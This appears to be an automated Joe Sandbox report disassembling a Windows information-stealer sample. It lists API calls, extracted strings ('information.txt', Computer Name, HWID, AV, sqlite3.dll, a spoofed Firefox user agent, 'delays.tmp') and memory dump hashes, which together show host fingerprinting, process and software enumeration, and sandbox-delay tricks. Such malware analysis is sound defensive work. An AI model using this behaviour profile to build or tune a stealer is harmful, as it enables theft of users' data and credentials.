Part of subcall function 001917DC: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00191855
Part of subcall function 001917DC: VariantInit.OLEAUT32(?), ref: 001918B0

Part of subcall function 0019196C: __EH_prolog3_catch.LIBCMT ref: 00191973
Part of subcall function 0019196C: CoInitializeEx.OLE32(00000000,00000000,00000030,00193FA7,?,AV: ,001B68CC,Install Date: ,001B68B8,00000000,Windows: ,001B68A8,Work Dir: In memory,001B6890), ref: 00191982
Part of subcall function 0019196C: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00191993
Part of subcall function 0019196C: CoCreateInstance.OLE32(001B2F00,00000000,00000001,001B2E30,?), ref: 001919AD
Part of subcall function 0019196C: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 001919E3
Part of subcall function 0019196C: VariantInit.OLEAUT32(?), ref: 00191A32

Part of subcall function 00190C5A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00181385), ref: 00190C66
Part of subcall function 00190C5A: HeapAlloc.KERNEL32(00000000,?,?,?,00181385), ref: 00190C6D
Part of subcall function 00190C5A: GetComputerNameA.KERNEL32(00000000,00181385), ref: 00190C81

Part of subcall function 00190C28: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001813B9), ref: 00190C34
Part of subcall function 00190C28: HeapAlloc.KERNEL32(00000000,?,?,?,001813B9), ref: 00190C3B
Part of subcall function 00190C28: GetUserNameA.ADVAPI32(00000000,001813B9), ref: 00190C4F

Part of subcall function 00191538: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0019154A
Part of subcall function 00191538: GetDeviceCaps.GDI32(00000000,00000008), ref: 00191555
Part of subcall function 00191538: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00191560
Part of subcall function 00191538: ReleaseDC.USER32(00000000,00000000), ref: 0019156B
Part of subcall function 00191538: GetProcessHeap.KERNEL32(00000000,00000104,?,?,001940D8,?,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC), ref: 00191577
Part of subcall function 00191538: HeapAlloc.KERNEL32(00000000,?,?,001940D8,?,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC,Install Date: ), ref: 0019157E
Part of subcall function 00191538: wsprintfA.USER32 ref: 00191590

Part of subcall function 00190DB0: GetKeyboardLayoutList.USER32(00000000,00000000,001B670A,?,?), ref: 00190DE1
Part of subcall function 00190DB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00190DEF
Part of subcall function 00190DB0: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00190DFD
Part of subcall function 00190DB0: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00190E2C
Part of subcall function 00190DB0: LocalFree.KERNEL32(00000000), ref: 00190ED4

Part of subcall function 00190D03: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00190D1E
Part of subcall function 00190D03: HeapAlloc.KERNEL32(00000000), ref: 00190D25
Part of subcall function 00190D03: GetTimeZoneInformation.KERNEL32(?), ref: 00190D34
Part of subcall function 00190D03: wsprintfA.USER32 ref: 00190D52

Part of subcall function 00190F26: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934), ref: 00190F3A
Part of subcall function 00190F26: HeapAlloc.KERNEL32(00000000,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934,Keyboard Languages: ,001B6918), ref: 00190F41
Part of subcall function 00190F26: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,001B6890,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ), ref: 00190F5F
Part of subcall function 00190F26: RegQueryValueExA.KERNEL32(001B6890,00000000,00000000,00000000,000000FF,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000), ref: 00190F7B
Part of subcall function 00190F26: RegCloseKey.ADVAPI32(001B6890,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934,Keyboard Languages: ,001B6918), ref: 00190F84

Part of subcall function 00190FDC: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 00191052
Part of subcall function 00190FDC: wsprintfA.USER32 ref: 001910B0

Part of subcall function 00190F8F: GetSystemInfo.KERNEL32(?), ref: 00190FA9
Part of subcall function 00190F8F: wsprintfA.USER32 ref: 00190FC1

Part of subcall function 001910EE: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,001B6918,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC,Install Date: ), ref: 00191106
Part of subcall function 001910EE: HeapAlloc.KERNEL32(00000000), ref: 0019110D
Part of subcall function 001910EE: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00191129
Part of subcall function 001910EE: wsprintfA.USER32 ref: 0019114F

Part of subcall function 0019147A: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001B670F,?,?), ref: 001914A9
Part of subcall function 0019147A: Process32First.KERNEL32(00000000,00000128), ref: 001914B9
Part of subcall function 0019147A: Process32Next.KERNEL32(00000000,00000128), ref: 00191517
Part of subcall function 0019147A: CloseHandle.KERNEL32(00000000), ref: 00191522

Part of subcall function 001911D8: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,001B670E,00000000,?,?), ref: 00191248
Part of subcall function 001911D8: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00191285
Part of subcall function 001911D8: wsprintfA.USER32 ref: 001912B2
Part of subcall function 001911D8: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 001912D1
Part of subcall function 001911D8: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00191307
Part of subcall function 001911D8: lstrlenA.KERNEL32(?), ref: 0019131C

Part of subcall function 001911D8: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,001B6E94), ref: 001913B1
Part of subcall function 001911D8: RegCloseKey.ADVAPI32(?), ref: 0019141B
Part of subcall function 001911D8: RegCloseKey.ADVAPI32(?), ref: 00191447

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,001B6918,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000), ref: 001945A3

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

Strings

Local Time: , xrefs: 0019418B
Work Dir: In memory, xrefs: 00193E70
Windows: , xrefs: 00193EB0
Computer Name: , xrefs: 00193FED
11.1, xrefs: 00193BFF
Install Date: , xrefs: 00193F11
VideoCard: , xrefs: 001943F7
Display Resolution: , xrefs: 001940AF
Threads: , xrefs: 0019432F
AV: , xrefs: 00193F7E
Keyboard Languages: , xrefs: 0019411E
[Software], xrefs: 001944E3
Date: , xrefs: 00193C5F
User Name: , xrefs: 0019404E
RAM: , xrefs: 00194390
Cores: , xrefs: 001942CE
GUID: , xrefs: 00193D21
HWID: , xrefs: 00193D8E
[Processes], xrefs: 0019446A
TimeZone: , xrefs: 001941EC
[Hardware], xrefs: 0019424D
Processor: , xrefs: 0019426D
MachineID: , xrefs: 00193CC0
Path: , xrefs: 00193DFB
information.txt, xrefs: 001945B3
Version: , xrefs: 00193BDF

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDirectoryEnumFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: 11.1$AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 478979899-3666103263
Opcode ID: a3e5660c5595dfa6f40fe60945a41527f28bc704f853b33611c8f8e03287d6c3
Instruction ID: 549d63bae2069354e43de1cfc24fb5189c2c00b640d1f9c655097840382dbfe3
Opcode Fuzzy Hash: a3e5660c5595dfa6f40fe60945a41527f28bc704f853b33611c8f8e03287d6c3
Instruction Fuzzy Hash: 4C52D231D00529ABDF02FBA4EC429DDB7B4AF29704F5281A1E56177162DB70BF4A8F90

Function 00198685 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 001986C6
GetProcAddress.KERNEL32 ref: 001986DD
GetProcAddress.KERNEL32 ref: 001986F4
GetProcAddress.KERNEL32 ref: 0019870B
GetProcAddress.KERNEL32 ref: 00198722
GetProcAddress.KERNEL32 ref: 00198739
GetProcAddress.KERNEL32 ref: 00198750
GetProcAddress.KERNEL32 ref: 00198767
GetProcAddress.KERNEL32 ref: 0019877E
GetProcAddress.KERNEL32 ref: 00198795
GetProcAddress.KERNEL32 ref: 001987AC
GetProcAddress.KERNEL32 ref: 001987C3
GetProcAddress.KERNEL32 ref: 001987DA
GetProcAddress.KERNEL32 ref: 001987F1
GetProcAddress.KERNEL32 ref: 00198808
GetProcAddress.KERNEL32 ref: 0019881F
GetProcAddress.KERNEL32 ref: 00198836
GetProcAddress.KERNEL32 ref: 0019884D
GetProcAddress.KERNEL32 ref: 00198864
GetProcAddress.KERNEL32 ref: 0019887B
LoadLibraryA.KERNEL32(?,00198504), ref: 0019888C
LoadLibraryA.KERNEL32(?,00198504), ref: 0019889D
LoadLibraryA.KERNEL32(?,00198504), ref: 001988AE
LoadLibraryA.KERNEL32(?,00198504), ref: 001988BF
LoadLibraryA.KERNEL32(?,00198504), ref: 001988D0
GetProcAddress.KERNEL32(75A70000,00198504), ref: 001988EC
GetProcAddress.KERNEL32(75290000,00198504), ref: 00198907
GetProcAddress.KERNEL32 ref: 0019891E
GetProcAddress.KERNEL32(75BD0000,00198504), ref: 00198939
GetProcAddress.KERNEL32(75450000,00198504), ref: 00198954
GetProcAddress.KERNEL32(76E90000,00198504), ref: 0019896F
GetProcAddress.KERNEL32 ref: 00198986

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 3795c2dcf0ab894f8e611efe9857dcb6342e9bd51ad1102324ab242e3ec64430
Instruction ID: ac33998399804449391722fd46492297858e0ff65677007b7b7aa634e65e21a8
Opcode Fuzzy Hash: 3795c2dcf0ab894f8e611efe9857dcb6342e9bd51ad1102324ab242e3ec64430
Instruction Fuzzy Hash: 8171CA79903222AFDB037FA6FC499247FBEF749301B119927E9018A270D7728860EF54

Function 001969F8 Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019051E: lstrlenA.KERNEL32(?,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190524
Part of subcall function 0019051E: lstrcpyA.KERNEL32(00000000,00000000,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190556

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00196908: StrCmpCA.SHLWAPI(?,ERROR), ref: 0019695C
Part of subcall function 00196908: lstrlenA.KERNEL32(?), ref: 00196967
Part of subcall function 00196908: StrStrA.SHLWAPI(00000000,?), ref: 0019697C
Part of subcall function 00196908: lstrlenA.KERNEL32(?), ref: 0019698B
Part of subcall function 00196908: lstrlenA.KERNEL32(00000000), ref: 001969A4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

StrCmpCA.SHLWAPI(?,ERROR), ref: 00196AE2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196B3B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196B9B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196BF4
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196C0A
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196C20
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196C32
Sleep.KERNEL32(0000EA60), ref: 00196C41

Strings

sqlp.dll, xrefs: 00196D0F
ERROR, xrefs: 00196ADA
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00196D21
ERROR, xrefs: 00196BEC
ERROR, xrefs: 00196B33
sqlite3.dll, xrefs: 00196CAA
sqlite3.dll, xrefs: 00196CDE
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00196CF0
ERROR, xrefs: 00196B93
ERROR, xrefs: 00196C2A
sqlp.dll, xrefs: 00196D40
ERROR, xrefs: 00196C18
ERROR, xrefs: 00196C02

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sqlite3.dll$sqlite3.dll$sqlp.dll$sqlp.dll
API String ID: 2840494320-608462545
Opcode ID: 42e2cfb7ababe4000103049995a9f492b572998e4482c8d522c5dfb260c686a1
Instruction ID: ce6d568c29da03337c9472915d3dfabfdf1957c549b33584644e55693bde5208
Opcode Fuzzy Hash: 42e2cfb7ababe4000103049995a9f492b572998e4482c8d522c5dfb260c686a1
Instruction Fuzzy Hash: 5691D432E40628ABDF52FBA4ED429CC77B4AF24704F518061F915B7166DB34AF0A8B91

Function 00181666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00181696
wsprintfW.USER32 ref: 001816BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 001816E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 001816FE
RtlAllocateHeap.NTDLL(00000000), ref: 00181705
_time64.MSVCRT ref: 0018170E
srand.MSVCRT ref: 00181715
rand.MSVCRT ref: 0018171E
_memset.LIBCMT ref: 0018172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00181746
_memset.LIBCMT ref: 00181763
CloseHandle.KERNEL32(?), ref: 00181771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0018178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 001817A9
_memset.LIBCMT ref: 001817BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001817C8
RtlFreeHeap.NTDLL(00000000), ref: 001817CF
CloseHandle.KERNEL32(?), ref: 001817DB

Strings

delays.tmp, xrefs: 001816A4
%s%s, xrefs: 001816B6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 2282131e860ae1a35bfe4a97dcd2016a2e96f43e5cc2066303e818be5a1e3656
Instruction ID: ae976be826ee0df9441edb155d3617704968abcc6e83e0d4e074a12e3d6e0acf
Opcode Fuzzy Hash: 2282131e860ae1a35bfe4a97dcd2016a2e96f43e5cc2066303e818be5a1e3656
Instruction Fuzzy Hash: E74183B2900218BBDB216B61DC4DFAF7B7DEF89751F1006A9B10AE1051DB318A95CF60

Function 001917DC Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143
memorycomtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 001917E3
CoInitializeEx.OLE32(00000000,00000000,0000004C,00193F39,Install Date: ,001B68B8,00000000,Windows: ,001B68A8,Work Dir: In memory,001B6890), ref: 001917F4
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00191805
CoCreateInstance.OLE32(001B2F00,00000000,00000001,001B2E30,?), ref: 0019181F
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00191855
VariantInit.OLEAUT32(?), ref: 001918B0

Part of subcall function 0019172C: __EH_prolog3_catch.LIBCMT ref: 00191733
Part of subcall function 0019172C: CoCreateInstance.OLE32(001B31B0,00000000,00000001,001BAF60,?,00000018,001918D6,?), ref: 00191756
Part of subcall function 0019172C: SysAllocString.OLEAUT32(?), ref: 00191763
Part of subcall function 0019172C: _wtoi64.MSVCRT ref: 00191796
Part of subcall function 0019172C: SysFreeString.OLEAUT32(?), ref: 001917AF
Part of subcall function 0019172C: SysFreeString.OLEAUT32(00000000), ref: 001917B6

FileTimeToSystemTime.KERNEL32(?,?), ref: 001918DF
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001918EB
HeapAlloc.KERNEL32(00000000), ref: 001918F2
VariantClear.OLEAUT32(?), ref: 00191931
wsprintfA.USER32 ref: 0019191E

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Strings

Select * From Win32_OperatingSystem, xrefs: 0019186A
Unknown, xrefs: 0019195A
ROOT\CIMV2, xrefs: 00191837
InstallDate, xrefs: 001918C2
WQL, xrefs: 0019186F
Unknown, xrefs: 00191946
%d/%d/%d %d:%d:%d, xrefs: 00191918
Unknown, xrefs: 0019193F

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
